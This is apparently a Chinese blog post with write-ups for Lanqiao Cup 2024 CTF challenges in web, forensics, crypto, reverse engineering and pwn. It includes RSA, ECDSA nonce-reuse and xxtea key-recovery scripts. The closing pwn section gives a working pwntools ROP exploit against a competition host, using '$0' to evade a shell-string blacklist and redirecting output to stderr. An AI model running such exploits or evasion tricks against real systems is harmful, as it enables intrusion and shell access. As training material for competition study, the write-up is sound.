欢迎关注公众号【Real返璞归真】回复【蓝桥杯2024】获取完整题目附件。
排名
安全知识
错1个选择题,题目说的不清楚,没搞懂题意。肯定不能用eval。错了理论题有点遗憾。
没想到这题前端是要解析json数据,排除CD选了A,结果发现正确答案选C。
情报收集
爬虫协议
Web方向的签到题,题目提示的很明显,进去还有个Robots,直接访问网站robots.txt文件:
访问最后一个限制爬虫的可疑目录,直接得到Flag:
数据分析
packet
Misc方向的签到题,找到POST请求,发现是命令执行cat flag,返回Base64后的flag:
直接解Base64得到Flag:
缺失的数据
压缩包里给了字典,直接用ARCHPR爆破后得到解压密码。
解压得到原图,并且有了加密后的图片,根据代码里的key和参数直接运行脚本解密水印图片:
import cv2
import numpy as np
import pywt
class WaterMarkDWT:
def __init__(self, origin: str, watermark: str, key: int, weight: list):
self.key = key
self.img = cv2.imread(origin)
self.mark = cv2.imread(watermark)
self.coef = weight
def arnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = (i + b * j) % r
y = (a * i + (a * b + 1) * j) % c
p[x, y] = img[i, j]
return p
def deArnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = ((a * b + 1) * i - b * j) % r
y = (-a * i + j) % c
p[x, y] = img[i, j]
return p
def get(self, size: tuple = (1200, 1200), flag: int = None):
img = cv2.resize(self.img, size)
img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
c = pywt.wavedec2(img2, 'db2', level=3)
[cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
d = pywt.wavedec2(img1, 'db2', level=3)
[dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
a1, a2, a3, a4 = self.coef
ca1 = (cl - dl) * a1
ch1 = (cH3 - dH3) * a2
cv1 = (cV3 - dV3) * a3
cd1 = (cD3 - dD3) * a4
# Ensure all coefficients have the same shape
ca1 = cv2.resize(ca1, (cD3.shape[1], cD3.shape[0]))
waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
waterImg = np.array(waterImg, np.uint8)
waterImg = self.deArnold(waterImg)
kernel = np.ones((3, 3), np.uint8)
if flag == 0:
waterImg = cv2.erode(waterImg, kernel)
elif flag == 1:
waterImg = cv2.dilate(waterImg, kernel)
return waterImg
if __name__ == '__main__':
img = 'a.png'
watermark = 'newImg.png'
k = 20
xs = [0.2, 0.2, 0.5, 0.4]
W1 = WaterMarkDWT(img, watermark, k, xs)
extracted_watermark = W1.get()
cv2.imwrite('提取出的水印.png', extracted_watermark)
密码破解
cc
和去年的签到题一样,有了key和iv,直接在CyberChef用AES解密回去即可:
Theorem
密码方向的签到题,根据题目已知n、e和c,并且p和q是相邻的素数,可以考虑分解。
通过prevprime函数分解n,然后RSA解密即可:
from Crypto.Util.number import long_to_bytes
import gmpy2
import libnum
from sympy import prevprime
e = 65537
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
c = 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
# 分解n
p = prevprime(gmpy2.iroot(n,2)[0])
q = n // p
# 求d
d = gmpy2.invert(e,(p-1) * (q-1))
print(long_to_bytes(pow(c,d,n)))
Signature
椭圆曲线密码中的签名整数k相同攻击利用。
因为k值相同,所以r值也是相同的。
题目中给到了使用相同的k进行两次签名的结果,那根据:
s1 = k^-1 (z1 + rda) mod n
s2 = k^-1 (z2 + rda) mod n
s1 - s2 = k^-1 (z1 - z2) mod n
K = (s1-s2)^-1 * (z1 -z2) mod n
得到k,最后再代入原式便能解出da了,即本题中的flag,完整exp:
from gmpy2 import *
from Crypto.Util.number import *
from hashlib import *
n= 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
r2 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
z1 = sha1(b'Hi.').digest()
z2 = sha1(b'hello.').digest()
s1_1 = inverse(s1, n)
s2_1 = inverse(s2, n)
def check(key):
for i in range(len(key)):
if key[i] < 32 or key[i] > 127:
return 0
return 1
x = (s2_1*bytes_to_long(z2) - s1_1*bytes_to_long(z1))%n
key = x*inverse(s1_1*r1-s2_1*r2, n)%n
print(key)
逆向分析
欢乐时光
加密是44个字节,但存储输入的大小只有42个字节,当然输入也就是最多42字节了,感觉这里是有点问题的,虽然多余的2个字节是用\0x填充。
加密就是魔改xxtea,修改了加密的轮数,下面代码中的参数v9:
__int64 __fastcall cry(_DWORD *a1, int a2, __int64 a3)
{
unsigned int *v3; // rax
_DWORD *v4; // rax
__int64 result; // rax
unsigned int v6; // [rsp+20h] [rbp-18h]
unsigned int v7; // [rsp+24h] [rbp-14h]
unsigned int i; // [rsp+28h] [rbp-10h]
int v9; // [rsp+2Ch] [rbp-Ch]
int v10; // [rsp+30h] [rbp-8h]
unsigned int v11; // [rsp+34h] [rbp-4h]
v9 = 415 / a2 + 114;
v7 = 0;
v6 = a1[a2 - 1];
do
{
v7 -= 0x61C88647;
v10 = (v7 >> 2) & 3;
for ( i = 0; i < a2 - 1; ++i )
{
v11 = a1[i + 1];
v3 = &a1[i];
*v3 += ((v11 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * v11) ^ (v6 >> 5))
+ ((v11 >> 3) ^ (16 * v6)));
v6 = *v3;
}
v4 = &a1[a2 - 1];
*v4 += ((*a1 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * *a1) ^ (v6 >> 5))
+ ((*a1 >> 3) ^ (16 * v6)));
result = (unsigned int)*v4;
v6 = result;
--v9;
}
while ( v9 );
return result;
}
xxTEA,直接逆回去解密:
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1)
{
n = -n;
rounds = 114 + 415/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
uint32_t v[]= {1208664588, 3465558002, 2350981144, 244490637, 2751681140, 611560113, 2851068760, 2771174856, 3828534097, 3494810147, 1875931283, 0};
uint32_t const k[4]= {2036950869, 1731489644, 1763906097, 1600602673};
int n = 11;
btea(v, -n, k);
for(int i = 0; i < sizeof(v); i++)
{
printf("%d, ", ((char *)v)[i]);
}
puts((char *)v);
return 0;
}
rc4
拖入IDA分析,和去年的题差不多,给了key和data,然后执行rc4加密函数:
只不过没把结果输出,加密的结果存在了a3变量位置,函数结束前打断点动态调试:
直接在a3的位置找到了flag:
漏洞分析
fd
看来打pwn的师傅还是少,签到pwn题。
拖入IDA分析:
首先读取最多14个字符到bss段的变量info中,然后读取最多0x4B到栈变量。
并且继续寻找发现程序提供了system函数,显而易见,直接ret2shellcode。
如果就这样结束了,这题一定被冲烂了。程序加了一个限制check函数:
不能使用/binsh、/sh、cat等字符串作为system参数,因此可以使用$0启动shell。
但是又存在一个问题,close(1)关闭了stdout,因此需要将stdout重定向到stderr使正常输出。
完整exp如下:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote('47.93.143.29', '25923')
elf = ELF('./fd')
bss = 0x601090
system = elf.plt['system']
pop_rdi_ret = 0x400933
ret = 0x4005ae
# shellcode
io.send(b'$0')
# ret2shellcode
payload = b'A'*0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi_ret) + p64(bss) + p64(system)
io.send(payload)
# getFlag
io.send(b'cat /flag 1 > &2')
io.interactive()